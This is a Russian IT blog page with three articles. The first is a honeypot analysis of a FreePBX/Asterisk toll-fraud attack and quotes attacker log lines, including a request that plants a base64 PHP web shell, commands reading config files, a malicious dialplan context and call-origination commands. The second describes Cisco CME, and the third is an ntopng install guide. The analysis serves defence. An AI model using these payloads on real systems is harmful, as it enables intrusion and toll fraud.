По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие наши статьи:
img
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали. TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них: CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5. SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26) CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26 Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие. Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше. Разведка (Reconnaisance) Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники. Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты) Примерно через час после “открытия” нашей ловушки, мы увидели такую картину: На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение: 169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" Здесь: 169.197.108[.]42 – адрес, с которого осуществлялось обращение; GET /admin - запрос страницы https://11.22.33[.]44/admin; 301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен; "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome. Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе: 169.197.108[.]42 198.108.66[.]192 45.143.221[.]50 173.212.225[.]214 45.143.220[.]111 Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214. Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт: /rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0" /admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0" Доставка (Delivery) Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden). Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python. Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64". Создание rr.php происходит после ввода: "GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64" Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке: 20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg Вот дешифровка: Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно! Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем? Инсталляция (Installation) Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl. В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды: Расшифруем: Вся эта радость сохраняется по пути /var/www/html/badr.php На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить. Управление (Command & Control) Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему! Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf. Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он: [badr-outcall]; thankuohoh exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})}); thankuohoh exten => _.,n,Set(_NODEST=); thankuohoh exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh exten => _.,n,Macro(outisbusy,); thankuohoh PROFIT (Actions on Objectives) Ну чтож, как говорится: Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста: 45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" 45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05" А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам: Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ? Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности! PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001): [SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001 [INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)
img
Телефонная станция Cisco Call Manager Express (CME) – это телефонная станция, которая функционирует на базе маршрутизатора ISR (Integrated Service Router). Цифровая IP АТС CME разработана для малого и среднего бизнеса, а также, для удаленных филиалов и представительств крупных компаний. Функционал и количество поддерживаемых телефонных аппаратов зависит от платформы, поверх которой функционирует Call Manager Express. Телефонный функционал изначально зашит в IOS (Internetwork Operation System) маршрутизатора, поэтому, для его работы необходима лишь активация. Цифровая IP – АТС Cisco Call Manager Express работает с интерфейсами E1, FXO и FXS. Поддерживает сигнализацию на базе протокола SIP и SCCP, функционал видеоконференцсвязи, интеграцию с голосовой почтой и многие другие опции. Т.к Cisco Call Manager Express базируется поверх граничного ISR маршрутизатора, то он имеет уникальную возможность выступать как устройство модели «все в одном». Это означает одновременную передачу данных, контроля над Cisco IP – телефонами, транки в телефонную сеть общего пользования (ТфОП) и различные приложения. Отметим следующие ключевые особенности CME: Обслуживание вызова: CME это устройство «все в одном». Он поддерживает маршрутизацию трафика, работу с телефонной сигнализацией и оконечными устройствами; Локальная библиотека пользователей: CME хранит данные о пользователях сети, данных авторизации, например, PIN коды пользователей; Возможность управления через командную строку и графический интерфейс: Функционал IP АТС зашит напрямую в операционную систему маршрутизатора IOS. Поэтому, в специальном режиме, можно пользоваться командной строкой, выводить различные данные и так далее. У компании Cisco Systems также есть гибкая и удобная в настройке утилита Cisco Configuration Professional (CCP). Она позволяет производить настройки через удобный графический интерфейс пользователя (GUI) ; Поддержка Computer Telephony Integration (CTI): Интерфейс CTI позволяет интегрировать телефонную станцию с другими приложениями корпоративной сети. Например, подобная интеграция позволяет делать звонки напрямую из почтового клиента Microsoft Outlook; Возможность настройки транков к прочим VoIP системам: CME может выступать как одиночное решение, напрямую подключаемое к ТфОП. Помимо этого, имеется возможность подключаться поверх сети передачи данных к центральной площадке, на примере данной дипломной работы, к кластеру серверов Cisco Unified Communications Manager поверх сети передачи данных; Интеграция с дополнительными услугами: В CME имеется возможность встраивания модуля Cisco Unity Express (CUE), который позволит использовать голосовую почту в корпоративном контуре. Cisco Call Maganer Express особенно удобен для подключения удаленных офисов к существующей системе корпоративной связи на базе Cisco На рисунке приведена схема работы Cisco Call Manager и стрелками обозначены направления работы протоколов сигнализации, при установлении соединения через ТфОП. На данном примере, пользователь Cisco IP – телефона снимает трубку и начинает набирать номер абонента, находящегося в ТфОП. На данном этапе передача цифр номера и управление вызовом обеспечивается протоколам SIP или SCCP, в зависимости от настройки оконечного устройства. Как только абонент набирает номер, телефонная станция CME, опираясь на заранее настроенный план нумерации, определяет, что вызов находится за пределами корпоративной сети (за граничным шлюзом) и его необходимо отправить в ТфОП. С этого момента, CME выступает в роли голосового шлюза и преобразует сигнализацию из формата SIP или SCCP в формат понятный E1 или FXO транку. Как только вызов установлен, Cisco Call Manager Express начинает преобразовывать аудио из формата VoIP в формат Public Switched Telephone Network (PSTN) или как принято говорить в РФ – ТфОП. Поскольку процесс преобразования аудио – трафика достаточно сложен и несет в себе большую аппаратную нагрузку, в Call Manager Express оборудован дополнительный процессор Digital Signal Processors (DSP), специально предназначенный для преобразования голосового трафика. Важно отметить, что при проектировании корпоративной телефонной сети, учитывается проектируемая нагрузка и соответственно, специально подбираются ресурсы DSP. При объединении площадок, настраивается Site to Site VPN – туннель, в котором трафик площадок передается в зашифрованном виде. В функционал CME можно легко внедрить голосовое меню на базе VXML скрипта, который будет являться конфигурацией. Другими словами, VXML будет отдавать команды маршрутизатору на определенные действия, будь то перевод звонка на определенный номер или воспроизведение звукового файла. Реализация VXML голосового меню происходит на граничном маршрутизаторе. При объединении офисов, настраивается “Dial Peer” – команда действий телефонной станции при наборе определенного номера. План нумерации определяется с учетом потребностей площадок, масштабируемости и удобства ведения бизнеса.
img
В продолжение нашей статьи про настройку Netflow на маршрутизаторах Mikrotik, сегодня мы расскажем про Ntopng — приложение, которое анализирует трафик в вашей сети. Устанавливать будем на CentOS 7. Установка Ntopng не доступен в дефолтных репозиториях CentOS 7, поэтому предварительно нам нужно будет выполнить определенные действия по их добавлению. Сперва, выполните команду по добавлению EPEL репозитория: sudo yum install epel-release Затем необходимо создать ntop репозиторий. Для этого нужно будет создать файл ntop.repo внутри директории /etc/yum.repos.d - для этого введите команду sudo nano /etc/yum.repos.d/ntop.repo. В данный файл добавьте следующие строки: [ntop] name=ntop packages baseurl=http://www.nmon.net/centos-stable/$releasever/$basearch/ enabled=1 gpgcheck=1 gpgkey=http://www.nmon.net/centos-stable/RPM-GPG-KEY-deri [ntop-noarch] name=ntop packages baseurl=http://www.nmon.net/centos-stable/$releasever/noarch/ enabled=1 gpgcheck=1 gpgkey=http://www.nmon.net/centos-stable/RPM-GPG-KEY-deri Для создания файла, конечно же, можно использовать любой текстовый редактор — не только nano. Но если хотите дотошно следовать инструкции, то, вероятно, сначала текстовый редактор придется установить с помощью команды yum install nano -y. После добавления нужных строк в файл сохраните изменения с помощью сочетания клавиш CTRL+O, и выйдите из файла командой CTRL+X. Теперь переходим к непосредственно установке — выполните команду sudo yum --enablerepo=epel install redis ntopng -y . После этого просто соглашайтесь со всеми пунктами, и, спустя минут 5, все должно быть установлено. Запуск сервисов и настройка ntopng После установки ntopng, необходимо установить hiredis-devel пакет и запустить redis сервер до старта ntopng: sudo yum --enablerepo=epel install hiredis-devel Затем запускаем redis сервис и разрешаем ему автозапуск — и тоже самое делаем с ntopng. sudo systemctl start redis.service sudo systemctl enable redis.service sudo systemctl start ntopng.service sudo systemctl enable ntopng.service Далее, проверим, работает ли ntopng командой sudo systemctl status ntopng. Затем, превратим наш ntopng в бесплатную версию — для этого нужно отредактировать конфиг командой sudo nano /etc/ntopng/ntopng.conf и изменить строку: -G=/var/tmp/ntopng.pid на строку: -G=/var/tmp/ntopng.pid --community После чего, сохраним и выйдем из файла и перезапустим ntopng: sudo systemctl restart ntopng Последний шаг — настроим фаерволл и перезагрузим его. Настройка заключается в разрешении порта 3000. sudo firewall-cmd --permanent --add-port=3000/tcp sudo firewall-cmd --reload Первый запуск ntopng Теперь осталось перейти по следующему адресу: http://yourhostip:3000. Логин и пароль по умолчанию — admin. Сразу после этого вам предложат изменить пароль. Далее, вы увидите дэшборд, с разнообразной информацией, примерно как на скриншоте ниже: Для понимания возможностей данного приложения — попробуйте посмотреть хосты, сети и прочие — в общем, попробуйте освоиться с функционалом. Заключение Всем спасибо за внимание, многие крупные вендоры сейчас уделяют особое внимание протоколу Netflow и придумывают различные сценарии применения. Как это может быть полезно именно для вас, пара примеров: после недельного анализа вашей сети вы поймете, что она была недостаточно сегментирована, или увидите какие-то подозрительные потоки. Дайте нам знать, если вам интересна более подробная настройка ntopng и софта, подобного ему — обязательно напишем про это статью! :).
ВЕСЕННИЕ СКИДКИ
40%
50%
60%
До конца акции: 30 дней 24 : 59 : 59